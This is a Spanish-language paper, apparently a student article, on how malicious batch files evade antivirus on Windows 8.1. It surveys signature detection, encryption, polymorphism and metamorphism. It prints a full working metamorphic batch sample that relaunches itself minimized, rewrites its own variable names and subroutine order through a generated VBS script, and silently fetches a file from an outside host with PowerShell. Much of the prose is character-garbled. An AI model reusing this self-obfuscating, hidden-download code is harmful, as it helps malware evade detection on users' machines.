Anda di halaman 1dari 8

Anlisis esttico de archivos de comandos por lotes maliciosos:

Vulnerabilidades latentes en Windows 8?



Jorge Lezcano

Resumen
Este articulo pretende demostrar como, trabajando sobre la ltima iteracin del sistema operativo
Windows (Windows 8! a octubre de "#!$%, los arc&ivos de comandos por lotes aun representan una amenaza
latente tanto a la privacidad como al correcto 'uncionamiento de los sistemas in'orm(ticos de los usuarios de
Windows )s* tambi+n se e,ponen ciertas t+cnicas -ue an siguen siendo viables para la evasin de los anti.virus

/ntroducci n
0esde la publicacin del 1R2)3 en !485 por Ral' 2urger en su libro 6Das grosse Computerviren-Buch7, el rol de los
arc&ivos de comandos por lotes como so'tware malicioso &a sido m(s -ue todo trivial, 8a -ue estos raramente
proponen una amenaza seria dada su simplicidad9 estos generalmente no son capaces de esparcirse r(pidamente a
trav+s de dispositivos, as*, las in'ecciones de estos se limitan a pe-ue:as (reas )&ora bien, el uso de estos como
cdigo malicioso generalmente se &a dado por la inclusin o 6encapsulamiento7 de otros tipos de cdigo, como por
ejemplo el ensamblador
;ablando entonces de este 6encapsulamiento7 de cdigo, vemos -ue &a sido a trav+s del poder de los programas
en ensamblador, adem(s del &ec&o de -ue las versiones tempranas de Windows utilizaban arc&ivos por lotes como
parte estructural del sistema operativo, 'ue -ue los arc&ivos por lotes llegaron a proponer, en algn momento, una
amenaza de seguridad a los sistemas in'orm(ticos
1eamos entonces el 'uncionamiento comn de estos arc&ivos maliciosos en sus primeras etapas<
@ECHO OFF
REM <binary code>
copy %0 b.com>nul
b.com
del b.com
rem <binary code>

Este virus (2)3=)>%, por ejemplo, demostr interesantes capacidades de los arc&ivos por lotes como so'tware
malicioso Lo -ue &izo interesante a este virus 'ue el &ec&o de -ue este era capaz de instalarse a s* mismo en la
memoria 8a -ue conten*a cdigo ensamblador en 'orma binaria dentro de sus l*neas )s*, este arc&ivo por lotes pod*a
copiarse a s* mismo como un arc&ivo ?@= 8 ejecutarse como arc&ivo ?@= 8a -ue las primeras l*neas del cdigo al
traducirse a lenguaje de ma-uina no ten*an ningn tipo de e'ecto signi'icativo en el comportamiento del virus, como
podemos ver a continuacin<




Text Code
-----------------------------------
@ INC AX
E INC BP
C INC BX
H DEC AX
O DEC DI
<space>OF AND [BX+46],CL
F INC SI
<enter><text line>R OR AX,520A
E INC BP
M DEC BP

La primera parte del cdigo binario inclu*a un salto a parte 'inal del cdigo binario la cual conten*a los comandos
para instalar el virus en la memoria 0e esta 'orma, sin veri'icar el estado de la memoria antes de instalarse, el virus
se reinstalaba en la memoria cada vez -ue un arc&ivo in'ectado se ejecutaba, poco a poco consumiendo la memoria
)s*, el virus monitoreaba las operaciones de escritura de arc&ivos mientras estaba en memoria, esperando -ue se
realizara la escritura de un arc&ivo por lotes, el cual luego este in'ectaba
) medida -ue los a:os pasaban 8 Windows se reinventaba, los arc&ivos por lotes 'ueron dejando su 'uncin
estructural para el sistema operativo 8 pasaron a ser no m(s -ue una &erramienta para la automatizacin de tareas
administrativas 8 un juguete para curiosos -ue encontraban en los arc&ivos por lotes una 'orma simple de jugar con
la estabilidad del sistema operativo sin la necesidad de tener conocimientos avanzados relacionados con
programacin o con la ar-uitectura del sistema operativo Ain embargo, dada la naturaleza del sistema, nunca dej
de e,istir para los arc&ivos de comandos por lotes, la capacidad de encapsular cdigo ejecutable de otros lenguajes,
como por ejemplo el 12A (1isual 2asic Acript% con el cual en el a:o "### un estudiante de ciencias computacionales
'ilipino causo numerosos da:os a escala mundial a sistemas in'orm(ticos liberando el gusano 6/L@1EB@C7
Los sistemas in'orm(ticos siguieron evolucionando 8 aun-ue la importancia de los arc&ivos de comando por lotes
deca8 considerablemente, su simplicidad, la combinacin de simples aspectos de seguridad del sistema operativo
8 la adicin de nuevas &erramientas al sistema operativo siguen proponiendo para nuevas generaciones de
programadores 8 entusiastas una 'orma de crear amenazas a la seguridad 8 privacidad de los sistemas in'orm(ticos
actuales como veremos a continuacin

3+cni cas de prevenci n de vi rus
)s* como la creacin de programas para la prevencin de cdigos maliciosos, la deteccin por 'irmas apareci desde
el principio como la 'orma lgica de detectar cdigos maliciosos, convirti+ndose as* en una de las 'ormas m(s
populares de detectar virus Esta consiste en analizar los arc&ivos compar(ndolos contra bases de datos las cuales
contienen patrones de bits los cuales son comunes encontrar en virus Dor ejemplo, un arc&ivo in'ectado por
6W$"Ejemplo)7 indica el siguiente patrn de bits como 'irma
Nombre del virus: W32.Ejemplo.A
Byte de Firma: 0A 8E 91 82 8 !" #2
El esc(ner busca este patrn en el arc&ivo completo 8 si lo encuentra lo declara como virus
@tra t+cnica mu8 utilizada para la prevencin de virus es el an(lisis &eur*stico en el -ue generalmente se realiza una
emulacin de una corrida para determinar el comportamiento del arc&ivo analizado al ejecutarse 0e esta 'orma, si
el esc(ner detecta instrucciones 6virales7 marca al arc&ivo analizado como virus

3+cni cas para l a )nti .0etecci n
Aiempre decimos -ue para -ue el 6bien7 e,ista, debe e,istir el 6mal7 >osotros podemos decir -ue por cada persona
tratando de &acer m(s seguro un sistema in'orm(tico e,iste una alta probabilidad de -ue e,ista al menos una
persona pensando en cmo romper la seguridad de los sistemas in'orm(ticos 8 -ue eventualmente las soluciones
de seguridad siempre ser(n rotas
Encriptacin
Es la 'orma m(s simple de lidiar con los programas de antivirus ?onsiste en encriptar el cuerpo del virus de tal 'orma
-ue se pueda ocultar cual-uier patrn de bit -ue pueda identi'icar al 'ic&ero como virus )s*, el virus cuenta con un
mdulo decriptor para desencriptar el cdigo del virus al ejecutarlo
El cuerpo encriptado del virus ser( di'erente cada in'eccin sin embargo el mdulo decriptor an puede ser
identi'icado
Polimorfismo
Es una de las t+cnicas m(s complejas implementadas por los creadores de virus para sobreponerse a las desventajas
de la encriptacin
Esta t+cnica consiste en modi'icar la lgica del mdulo decriptor adem(s de modi'icar la encriptacin del cuerpo del
virus Esto &ace -ue esta t+cnica sea m(s e'ectiva -ue la encriptacin
Dara la deteccin de estos virus, el antivirus debe buscar patrones caracter*sticos de todos los decriptores posibles
as* como utilizar t+cnicas &eur*sticas -ue le permitan observar la actividad viral del programa
Metamorfismo
Es una t+cnica en la -ue no se utilizan descriptores ni cdigo encriptado Esta lo -ue &ace es cambiar la estructura
completa del virus sin a'ectar el comportamiento 'uncional de este utilizando t+cnicas de o'uscacin de cdigo tanto
para la seccin de datos como para el control de 'lujo del programa
La t+cnica de o'uscacin del cdigo de 'lujo de control del virus involucra la transposicin de cdigo, insercin de
cdigo basura, sustitucin de cdigo e-uivalente, renombramiento de registros 8 permutacin de subrutinas

=etamor'i smo en arc&i vos por l otes
El primer virus metamr'ico en batc& 'ue creado en !444 por 6GliTCH7 en su art*culo llamado 6GliTCH's Polymorphic
Batch Tutorial7, en el -ue m(s -ue un virus polimr'ico como sugiere el nombre del art*culo, se presenta el cdigo
de un virus -ue tiene la &abilidades de permutar sus subrutinas utilizando marcadores B aun-ue la t+cnica
'uncionaba, no tuvo muc&o +,ito 8a -ue el tama:o del virus aumentaba demasiado cada nueva generacin Ain
embargo, esto dio paso a la creacin de nuevas t+cnicas basadas en este principio de la utilizacin de marcadores
dentro del 'ic&ero





Wi ndows 8 ! 8 l os arc&i vos por l otes
)nalicemos el siguiente 'ic&ero de prueba<
@set sdjf=fictsoehnd %ini%
@set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
@%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
@%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
@%egnkv%off %ini%
@%agnvl: =%local enabledelayedexpansion %ini%
@if %1'==$' (goto :nxxt) else (start /min cmd /c %0 $&& exit) %ini%
:nxxt %ini%
call :m0 %ini%
%fsdhf%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%fsdhf%"m%r: =%"<%0>>$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
%egnkv%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%egnkv%%a%|%fsdhf% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%fsdhf%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%
%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobject")>asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.vbs %ini%
%egnkv%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%egnkv%kdflekj.close>>asjdhau.vbs %ini%
%egnkv%Randomize>>asjdhau.vbs %ini%
%egnkv%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd)
+ 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) +
97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) +
97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) +
97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%sjdfhjs = Replace(askdajs,"sdjf",ahqiaohe)>>asjdhau.vbs %ini%
%egnkv%lasdaod = Replace(sjdfhjs,"agnvl",jdfasuu)>>asjdhau.vbs %ini%
%egnkv%skdnmxi = Replace(lasdaod,"egnkv",dwudhqw)>>asjdhau.vbs %ini%
%egnkv%sjsabwu = Replace(skdnmxi,"fsdhf",asdwdkw)>>asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.vbs %ini%
%egnkv%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& del /q $ asjdhau.vbs&& exit %ini%
:: %m5%
:: %m7%
:: %m6%
:: %m1%
:: %m2%
:: %m4%
:: %m9%
:: %m3%
:: %m0%
:jvnsaf %m0%
start /min powershell -Command iwr http://0.tqn.com/d/altreligion/1/0/a/1/-/-
/triangle.jpg -OutFile img.jpg %m0%
goto :EOF %m0%
:: %m8%
:cmp %mcmp%
%fsdhf%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%agnvl% a=%a%o %mcmp%
goto :EOF)%mcmp%
%agnvl% a=%a%x %mcmp%
goto :EOF %mcmp%
:rnd %mrnd%
%agnvl%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Ai bien es cierto -ue el cdigo esta o'uscado podemos advertir, pas(ndolo por un servicio de an(lisis de arc&ivos en
l*nea, -ue solo el !!E de los antivirus lo &an clasi'icado como virus por an(lisis de comportamiento, sin embargo
aun-ue en realidad el cdigo no represente ninguna amenaza de seguridad veremos -ue lo -ue este logra &acer es
en cierto punto, preocupante
)l ejecutar el 'ic&ero se ve -ue por un instante aparece una ventana de la consola -ue luego desaparece, as* mismo
luego de unos instante aparece en el directorio en el -ue se encontraba el 'ic&ero apareci otro 'ic&ero llamado
6img!pg7 =(s interesante aun es revisar el cdigo del 'ic&ero luego de &aberlo ejecutado varias veces Ae aprecia
como el cdigo &a cambiado, desde los nombres de las variables &asta la estructura misma del cdigo<

@set sdjf=fictsoehnd %ini%
@set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
@%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini%
@%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
@%egnkv%off %ini%
F
;a cambiado a<
@set uncno=fictsoehnd %ini%
@set rvbkv=%uncno:~4,1%%uncno:~6,1%%uncno:~3,1% %ini%
@%rvbkv%jptfk=%uncno:~6,1%%uncno:~2,1%%uncno:~7,1%%uncno:~5,1% %ini%
@%rvbkv%fccjr=%uncno:~0,2%%uncno:~8,2% %ini%
@%jptfk%off %ini%


)s* como la seccin<

:: %m5%
:: %m7%
:: %m6%
:: %m1%
:: %m2%
:: %m4%
:: %m9%
:: %m3%
:: %m0%


;a cambiado a<

::-603353940 %m0%
::1231161759 %m0%
:: %m3%
::-1664257520 %m3%
::-1414192996 %m3%
::-1798579742 %m3%
::-1468450677 %m3%
::265806836 %m3%
::-1454515737 %m3%
::1715483946 %m3%
::-1159031649 %m3%
:: %m8%
::-387547099 %m8%


Entonces, analizando el cdigo a 'ondo vemos encontramos di'erentes subrutinas


:rnd %mrnd%
%agnvl%/a r=%random%%%10 %mrnd%
goto :EOF %mrnd%

Genera un nmero aleatorio entre # 8 4 3iene como
marcador 6mrnd7

:cmp %mcmp%
%fsdhf%"m%1"<$>nul %mcmp%
if %errorlevel%==1 (%agnvl% a=%a%o %mcmp%
goto :EOF)%mcmp%
%agnvl% a=%a%x %mcmp%
goto :EOF %mcmp%

2usca en el 'ic&ero 6H7 la cadena 6mE!7 (donde E!
es el par(metro%, si la encuentra entonces establece
la variable 6a7 como 6a I JoK7, sino como 6a I J,K7
3iene como marcador 6mcmp7
@set sdjf=fictsoehnd %ini%
@set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini%
@%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1%
%ini%
@%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini%
@%egnkv%off %ini%
@%agnvl: =%local enabledelayedexpansion %ini%
@if %1'==$' (goto :nxxt) else (start /min cmd /c %0 $&&
exit) %ini%
:nxxt %ini%
call : jvnsaf %ini%

/nicializa las variables del programa 8 veri'ica -ue
este se est+ ejecutando de 'orma minimizada, si no
es as*, lo inicia nuevamente pero minimizado
)dem(s llama a la subrutina 6jvnsa'7 3iene como
marcador 6ini7

:jvnsaf %m0%
start /min powershell -Command iwr
http://0.tqn.com/d/altreligion/1/0/a/1/-/-/triangle.jpg -
OutFile img.jpg %m0%
goto :EOF %m0%

Rutina 6jvnsa'7 /nicia de 'orma minimizada un
comando por la powers&ell el cual descarga el
'ic&ero 6trianglejpg7 8 lo guarda en el director local
como 6imgjpg7 3iene como marcador 6m#7

%fsdhf%"ini"<%0>$ %ini%
:rnd_b %ini%
call :rnd %ini%
:buc %ini%
%fsdhf%"m%r: =%"<$>nul %ini%
if %errorlevel%==0 goto :tst %ini%
%fsdhf%"m%r: =%"<%0>>$ %ini%
%agnvl%/a rdnmm=%random%*9999999 %ini%
2usca dentro de s* mismo el marcador 6ini7 8 crea
un nuevo arc&ivo llamado 6H7 donde almacena
todas las l*neas -ue contienen tal marcador
Ctilizando la 'uncin 6rnd7 introduce en 6H7 de
'orma aleatoria las l*neas conteniendo los
marcadores 6mL7 (donde L es un entero entre # 8 4%
as* como l*nea de cdigo basura Luego de esto
introduce dentro de 6H7 las l*neas con los
%egnkv%::%rdnmm% %%m%r: =%%%>>$ %ini%
:tst %ini%
%agnvl%a=1 %ini%
for /L %%a in (0,1,9) do call :cmp %%a %ini%
%egnkv%%a%|%fsdhf% "o">nul %ini%
if %errorlevel%==0 goto :rnd_b %ini%
for %%a in (cmp rnd) do (set a=%%a %ini%
%fsdhf%"m!a: =!"<%0>>$) %ini%
type $>%0&& ping -n 1 localhost>nul %ini%

marcadores 6mcmp7 8 6mrnd7 Luego copia 6H7 a s*
mismo 8 espera un momento 3iene como marcador
6ini7

%egnkv%%agnvl%dfjalds=createobject("scripting.filesystemobj
ect")>asjdhau.vbs %ini%
%egnkv%%agnvl%kdflekj=dfjalds.opentextfile(%0,1)>>asjdhau.v
bs %ini%
%egnkv%askdajs = kdflekj.readall>>asjdhau.vbs %ini%
%egnkv%kdflekj.close>>asjdhau.vbs %ini%
%egnkv%Randomize>>asjdhau.vbs %ini%
%egnkv%ahqiaohe = chr(int(22 * rnd) + 97)^&chr(int(22 *
rnd) + 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) +
97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%jdfasuu = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd)
+ 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) +
97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%dwudhqw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd)
+ 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) +
97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%asdwdkw = chr(int(22 * rnd) + 97)^&chr(int(22 * rnd)
+ 97)^&chr(int(22 * rnd) + 97)^&chr(int(22 * rnd) +
97)^&chr(int(22 * rnd) + 97)>>asjdhau.vbs %ini%
%egnkv%sjdfhjs =
Replace(askdajs,"sdjf",ahqiaohe)>>asjdhau.vbs %ini%
%egnkv%lasdaod =
Replace(sjdfhjs,"agnvl",jdfasuu)>>asjdhau.vbs %ini%
%egnkv%skdnmxi =
Replace(lasdaod,"egnkv",dwudhqw)>>asjdhau.vbs %ini%
%egnkv%sjsabwu =
Replace(skdnmxi,"fsdhf",asdwdkw)>>asjdhau.vbs %ini%
%egnkv%%agnvl%skdjawuj=dfjalds.opentextfile(%0,2)>>asjdhau.
vbs %ini%
%egnkv%skdjawuj.write sjsabwu>>asjdhau.vbs %ini%
asjdhau.vbs&& del /q $ asjdhau.vbs&& exit %ini%

Luego de ese momento crea un 'ic&ero 12A el cual
es un script -ue substitu8e en el 'ic&ero original los
nombres especi'icados de las variables por otros
generados de 'orma aleatoria Luego solo elimina
tanto el 'ic&ero 12A como el 6H7



Entonces podemos ver -ue, sin ningn tipo de control ni restricciones, el 'ic&ero de pruebas &a podido utilizar
t+cnicas de o'uscacin para modi'icarse a si mismo adem(s de &aber descargado un arc&ivo de internet





?oncl usi n
El manejo de arc&ivos, la 'alta de control 8 la posible implementacin de t+cnicas apropiadas de propagacin as*
como el acceso a nuevas 8 poderosas &erramientas como la DowerA&ell siguen manteniendo &o8 en d*a la
posibilidad de -ue los arc&ivos de comandos por lotes sigan representando una amenaza para la seguridad 8 la
estabilidad de los sistemas in'orm(ticos de los usuarios de Windows
Re'erenci as
! = Datel, "imilarity Tests for Metamorphic #irus Detection, =a8o "#!!
" ? >ac&enberg, $n%erstan%ing an% Managing Polymorphic #iruses& '(()
$ 1L ;eavens, M&ttp<NNv,&eavenscomNO
P Aecond Dart 3o ;ell, M&ttp<NNspt&viriiluNmain&tmO
Q 1irustotal, M&ttps<NNwwwvirustotalcomO

Anda mungkin juga menyukai